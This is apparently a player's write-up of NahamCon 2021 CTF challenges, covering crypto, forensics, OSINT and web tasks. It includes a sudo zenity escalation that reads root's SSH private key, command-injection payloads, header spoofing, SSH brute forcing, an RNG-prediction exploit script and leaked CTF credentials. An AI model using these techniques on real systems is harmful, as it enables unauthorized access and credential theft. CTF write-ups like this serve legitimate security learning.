Nahamcon 2021

Android

Andra

unzip the file you will find the flag at :

andra/res/layout/activity_flag.xml

Resourceful

  • enable usb debugging
  • connect usb
  • use adb shell

  • flag will appear on phone

Cryptography

esab64

Its base64 backwards

initial string in file: mxWYntnZiVjMxEjY0kDOhZWZ4cjYxIGZwQmY2ATMxEzNlFjNl13X

The name is backwards so i reversed the string to:

X31lNjFlNzExMTA2YmQwZGIxYjc4ZWZhODk0YjExMjViZntnYWxm

base64 decode to: _}e61e711106bd0db1b78efa894b1125bf{galf

reverse the string once again for flag: flag{fb5211b498afe87b1bd0db601117e16e}_


chicken wings

WingDing Cipher : https://lingojam.com/WingDing


veebee

Visual Basic Script can be encoded and they become vbe files, there are some encoders in the wild, python one did not work but there is another decoder here which works : https://www.interclasse.com/scripts/decovbe.php

  • put the code in a .vbs file
  • launch a cmd and execute
wscript decode.vbs veebee.vbe
  • a dialogue box will open with the flag in it

Dice Roll

The given script suggests that it is using random number generators, python uses mersenne twister algorithm, googling we find a github repo of python module which enable us to predict the number.

https://github.com/kmyk/mersenne-twister-predictor

We use the following code, to automate the process using pwntools

from pwn import *
from mt19937predictor import MT19937Predictor
import re
predictor = MT19937Predictor()

r = remote('challenge.nahamcon.com' , '31784')
r.recvuntil('> ')
for i in range (0, 625):
        
        r.sendline('2')
        text = r.recvuntil('> ')
        print(text)
        num = [int(s) for s in text.split() if s.isdigit()]
        print(num)
        num = num[0]
        predictor.setrandbits(num, 32)

flag = predictor.getrandbits(32)
r.sendline('3')
print(r.recvuntil('> '))
r.sendline(str(flag))
print(r.recv(2048))

Car Keys:

keyed caesar cipher

https://www.boxentriq.com/code-breaking/keyed-caesar-cipher

use the key: QWERTY


Treasure

  • title is treasure
  • if you search for treasure cipher you will land on beale cipher
  • and eventually, book cipher

https://www.dcode.fr/book-cipher


EAXY

We are given a hex like looking data, we upload the file to CyberChef, From the challenge name we get a hint that it might be XOR, so we try to bruteforce XOR. For most of keys you get a plaintext in which they have mentioned the index of the each character for example,The word HELLO , here the letter H will have index 0, and letter E will have 1 and so on. we write down all the indexes Assemble them accordingly and we get the following string 666c61677b31366564666365356331323434336236313832386166366361623930646337397d Which is just a hex string, unhex it and we get the flag flag{16edfce5c12443b61828af6cab90dc79}

KEY    | INDEX
key 30 - 32
key 31 - 5, 14, 21
key 32 - 15, 23, 
key 33 - 18, 
key 34 - 16, 17
key 35 - 12
key 36 - 6, 20, 27
key 37 - 35
key 38 - 22, 24
key 39 - 31, 36
key 61 - 2, 25, 29
key 62 - 19, 30
key 63 - 10, 13, 28, 34
key 64 - 8, 33
key 65 - 7, 11
key 66 - 0, 9, 26
key 67 - 3
key 6c - 1
key 7b - 4
key 7d - 37
key 30 - 32
key 31 - 5, 14, 21
key 32 - 15, 23

forensics

buzz

$ mv buzz flag.z
$ uncompress flag.z
$ cat flag

Henpeck

if we inspect the pcap file in wireshark we can see some of the packets have “Leftover Capture Data”, these are our keystrokes, we can extract the value of these by using tshark :

tshark -r henpeck.pcap -T fields -e usb.capdata > usb_data.txt

after that we can use a py script to convert this data into readable characters

newmap = {
	4: 'a', 5: 'b', 6: 'c', 7: 'd', 8: 'e',
	9: 'f', 10: 'g', 11: 'h', 12: 'i', 13: 'j', 14: 'k', 15: 'l',
	16: 'm', 17: 'n', 18: 'o', 19: 'p', 20: 'q', 21: 'r', 22: 's',
	23: 't', 24: 'u', 25: 'v', 26: 'w', 27: 'x', 28: 'y', 29: 'z',
	30: '1', 31: '2', 32: '3', 33: '4', 34: '5', 35: '6', 36: '7',
	37: '8', 38: '9', 39: '0', 43: '    ', 44: ' ', 45: '_', 47: '{',
	48: '}', 56: '/'
}
ks = []
msg = []

with open('hid_data.txt') as kshex:
	mykeys = kshex.readlines()
	for key in mykeys:
		if len(key) > 5:
			ks.append(key)

i = 1
for line in ks:
	bytesArray = bytearray.fromhex(line.strip())
	for byte in bytesArray:
		if byte != 0:
			keyVal = int(byte)

			if keyVal in newmap:
				msg.append(newmap[keyVal])
			else:
				pass

	i += 1

print(''.join(msg))

Typewriter

  • first we need to find the profile for this memory dump
volatility imageinfo -f image.bin

profile is Win7SP1x86_23418

  • now the challenge states that the files were lost in a system crash, so we need to look for files
volatility filescan -f image.bin --profile Win7SP1x86_23418
  • this provides a long list of files, but we know in windows people work in desktop most of the time so after inspecting desktop path we can see this file path
0x000000007e841f80      8      0 RW-r-- \Device\HarddiskVolume1\Users\IEUser\Desktop\CONFIDENTIAL DOCUMENT.docx
  • now we can try and dump this file
volatility -f image.bin --profile Win7SP1x86_23418 dumpfiles -Q 0x000000007e841f80 --dump-dir .
  • using file command we can see the file format and rename appropriately but the file is corrupt, remember system crash?

  • but docx files can be extracted like a zip with unzip command

  • after extracting we get these files/dirs

drwxr-xr-x 5 twh users 4096 Mar 14 13:54  .
drwxr-xr-x 3 twh users 4096 Mar 14 13:54  ..
-rw-r--r-- 1 twh users 1422 Jan  1  1980 '[Content_Types].xml'
drwxr-xr-x 2 twh users 4096 Mar 14 13:53  docProps
drwxr-xr-x 2 twh users 4096 Mar 14 13:53  _rels
drwxr-xr-x 4 twh users 4096 Mar 14 13:53  word
  • inside word we have a file named document.xml

  • open this file in browser and flag is in plain text :D


Parseltongue

first get python code from bytecode using uncompyle6

    #!/usr/bin/env python3
    import Crypto.Util.number as l2b
    import random
    '''
        sszz -> a_list
        zzss -> some_bytes
    '''
    a_list = [
     'aposlogahs', 'apsle', 'Sine', 'aʃe', 'bei∫ed', 'tuif', 'Kura', 'Vera', 'pard', 'pardshesl', 'bo∫', 'Gara', 'vinth', 'Pelʃis', 'keilsing', 'khair', 'tikni', 'Bana', 'Slehara', 'koukh', 'kups', 'dai', 'Andi', 'dorʃe', 'doʃe', 'sloʃe', 'kaʃe', 'Sarna', 'Suu', 'giʃe', 'Gorna', 'ass-girou', 'dros', 'feslure', 'hasli', 'riʃan', 'fraeslis', 'vris', 'gatsi', 'runʃe', 'Tira', 'hishe', 'einʃe', 'hesleuf', 'Firna', 'Baʃ', 'ʃem', 'ai', 'ine', 'dinʃe', 'Negei', 'slanp', 'ʃena', 'sliʃe', 'dati', 'slifai', 'Kuine', 'Ha', 'nisl', 'ʃe', 'Sobne', 'bna', 'Sora', 'ovith', 'houk', 'parknent', 'fasar', 'nesha', 'praughs', 'Pura', 'ʃine', 'ʃane', 'gisan', 'rai∫e', 'kata', 'Ara', 'Nigi', 'akaʃe', 'rashe', 'slan', 'Derne', 'Tina', 'snart', 'gariʃe', 'kerashe', 'stabsle', 'Fasi', 'Peina', 'Tasi', 'Sekusi', 'Harne', 'kapi', 'Athne', 'vaʃe', 'asl', 'ʃik', 'agiro', 'vei', 'Asuna', 'Teʃ', 'Fiʃ', 'Doʃ', 'ʃira', 'Haʃ', 'Vuʃ', 'vindovth', 'Bira', 'Sa', 'Slu', 'ou', 'iangsteur'
    ]
    some_bytes = b'\x07\x1c\x0e\x14\x17\n\x06\x03\x0cJ\x00@G\x0e\x017X\x0b\x04W\xf8\xb5\x03P\x06\x0f\x80\xea\x9b\x00\x05A\x16\\\x00.\x17\x0f'
    s = False
    z = True
    ss = s & z  # False AND True -> always False
    # abs()      -> Returns absolute value
    # abs(True)  -> 1
    # abs(False) -> 0
    z = abs(ss) - abs(z) # -1
    zz = ss | z          # False OR -1 = -1
    z = zz - z - z       # -1 - (-1) - (-1) = 1
    zz = z | z           # 1 OR 1 = 1
    z = zz << zz         # 1 LEFT SHIFT 1 = 2
    s = ss >> ss         # False RIGHT SHIFT False = 0
    sz = s << z          # 0 LEFT SHIFT 2 = 0
    zs = z << s          # 2 LEFT SHIFT 0 = 2
    z = zs - sz          # 2 - 0 = 2
    # Values at this point
    # z  = 2
    # zs = 2
    # sz = 0
    # s  = 0
    # zz = 1
    # ss = False [unchanged]
    ss = str(z).replace(str(zs), str(ss).replace(str(ss), str(z).replace(str(z), '')))
    # '2'.replace('2', 'False'.replace('False', '2'.replace('2', '') ))
    # '2'.replace('2', 'False'.replace('False', ''))
    # '2'.replace('2', '')
    # ss = ''
    sss = bytes(ss.join(a_list), 'utf-8')
    zzz = bytes([_a ^ _b for _a, _b in zip(sss, some_bytes)])
    ##### JACKPOT #####
    print(zzz.decode())
    ###################
    ssszzz = bytes([_a ^ _b for _a, _b in zip(zzz, some_bytes)])
    sss += b'S'
    ssss = []
    ss = sss[:len(sss) // 2]
    zz = sss[len(sss) // 2:]
    for s in range(len(ss)):
        ssss.append(ss[s] ^ zz[s])
    else:
        if 5 == 1:
            print(' '.join([random.choice(a_list).upper() for _ in range(random.randrange(5, 10))]))
        else:
            print(' '.join([random.choice(a_list).upper() for _ in range(random.randrange(5, 10))]))

misc

eighth_circle

After googling “eight circle of hell cipher” we find something called Malbolge, a programming language. We use a decoder for it and we get the

https://malbolge.doleczek.pl/

flag - flag{bf201f669b8c4adf8b91f09165ec8c5c}

Prison Break

cat /just/out/of/reach/twh.txt -> No such file or directory i.e. real cat error

but if you try

cat /just/out/of/reach/flag.txt -> error changes into a custom one

script is detecting the keyword flag


Zenith

  • Goal was to privesc to root and get the flag from root directory

  • detecting privesc was easy because all i had to do was sudo -l

  • we can execute zenity with sudo without password

  • zenity is an application which generates GUI pop ups.

  • but we have ssh, a simple workaround for this is to use -X commandline option of ssh which forwards gui applications to our machine, so using this we can execute zenity on remote server and popups will appear on our machine.

  • now after reading manpage of zenity few times this command worked

zenity --text-info --filename "/root/.ssh/id_rsa"

  • and a pop up appears with private key of root <3

Mission

Bionic

flag is in https://constellations.page/robots.txt

next target url : https://constellations.page/meet-the-team.html

source page mentions VELA, with the following context

Vela, can we please stop sharing our version control software out on the public internet

RECON

Github : https://github.com/constellations-git

Twitter : https://twitter.com/C0NST3LLAT10NS

there are 0 public repositories but there is one member :

https://github.com/gusrodry

in his followers list there is another account related to constellation

hercules : https://github.com/HerculesScox

in his account there is one repo created by him which is interesting

repo : https://github.com/HerculesScox/maintenance

website mentions “YouTube” and “Podcast” but both are not linked!

Email for hercules : herculesscoxland@yahoo.com

https://githubmemory.com/@HerculesScox


Gus

https://github.com/gusrodry/development/blob/master/config/.ssh/flag.txt

along with the gus flag here we also get ssh private and public keys!

in the public key we can see “john@xps15”


Meet The Team

flag is in a tweet on the twitter linked above


hercules

flag is in “connect.sh” in his repo : https://github.com/HerculesScox/maintenance/blob/main/connect.sh

along with the flag we can also see he that he used “sshpass” in this file, sshpass is a program used to auto login into ssh by supplying the password in command line instead of manually entering it everytime

hercules:starstruckherc

with these credentials we can SSH into DEGRADE challenge!


Leo

Directory search on https://constellations.page reveals /.git/ directory

we dont have access to this repository because its not public on github so we can use a nice tool to dump directly from the website!

https://github.com/internetwache/GitTools

then if we check git log we can see full name of leo

Instagram : @_leorison

there is a QR Code in one of the images

flag{636db5f4f0e36908a4f1a4edc5b0676e} 
    
A password for Leo is constelleorising

we found flag and another creds!


Lyra and Orion

if we check the “meet the team” commit we can see names of all employees!

git show 4c88ac1c56fe228267cf415c3ef87d7c3b8abd60

Orion Morra
Lyra Patte
Gemini Coley
Vela Leray
Pavo Welly

On twitter we can find Lyra’s profile : https://twitter.com/LyraPatte/with_replies

and she has linked one of the website links : https://constellations.page/constellations-documents/1/

/1/ lets try more…on /5/

Once again on twitter we can find orion at : https://twitter.com/OrionMorra/with_replies

he has posted two useful pictures

https://twitter.com/OrionMorra/status/1363789936219082756/

AND

https://twitter.com/OrionMorra/status/1370730836736274433/

flag{0bcffb17cbcbf4359a42ec45d0ccaf2
orion:stars4love4life

another set of creds


Hydraulic

This one was straight forward, we dont know the username and we dont know the password, we just had to bruteforce

ssh login and cat flag.txt


OSINT

intigriti Sponsor

https://app.intigriti.com/researcher/programs/intigriti/nahamcon2021ctf/detail

found this which has the following:

the two links do not work so we shall try deciphering this using :

https://enkhee-osiris.github.io/Decoder-JSFuck/

but we got an error stating about an illegal character

https://stackoverflow.com/questions/35657620/illegal-character-error-u200b

solution to this was easy as we just opened the challenge text in VSCode and found the zero width space character and removed it and the decoder now works!


INE Sponsor

Source code analysis on the link provided in the challenge


Google Play Sponsor

Head over to : https://www.google.com/about/appsecurity/play-rewards/

look for a PDF link under “Theft of Sensitive Data”

Download : https://www.google.com/about/appsecurity/play-rewards/Android_app_vulnerability_classes.pdf

Search for “flag{“ in the pdf, its invisible on page 17!

Steganography

Shoelaces

simple strings will get the flag.


Pollex

binwalk --dd='.*' pollex

now in the _pollex.extracted/ there is an image with the flag on it.

web

$Echo

It is simple command injection in the input box we can use ` characters

`id`

all commands have to be enclosed in `` chars

now if we list files using

`ls`

we can see index.php when we

`cat index.php`

we can see the code! certain characters are blacklisted we can only enter command less that 15 chars but there is no flag.txt here, if we simply execute

`ls ../`

then we can see flag.txt

`cat ../flag.txt`

fails because length of payload exceeds 15

payload to get flag :

linux redirection character! < is NOT blacklisted!

`< ../flag.txt`

Homeward Bound

In this challenge we were supposed to access internal files by spoofing client IP address, this can be done using X-Forwarded-For header

$ curl -H “X-Forwarded-For: 127.0.0.1” http://challenge.nahamcon.com:31428/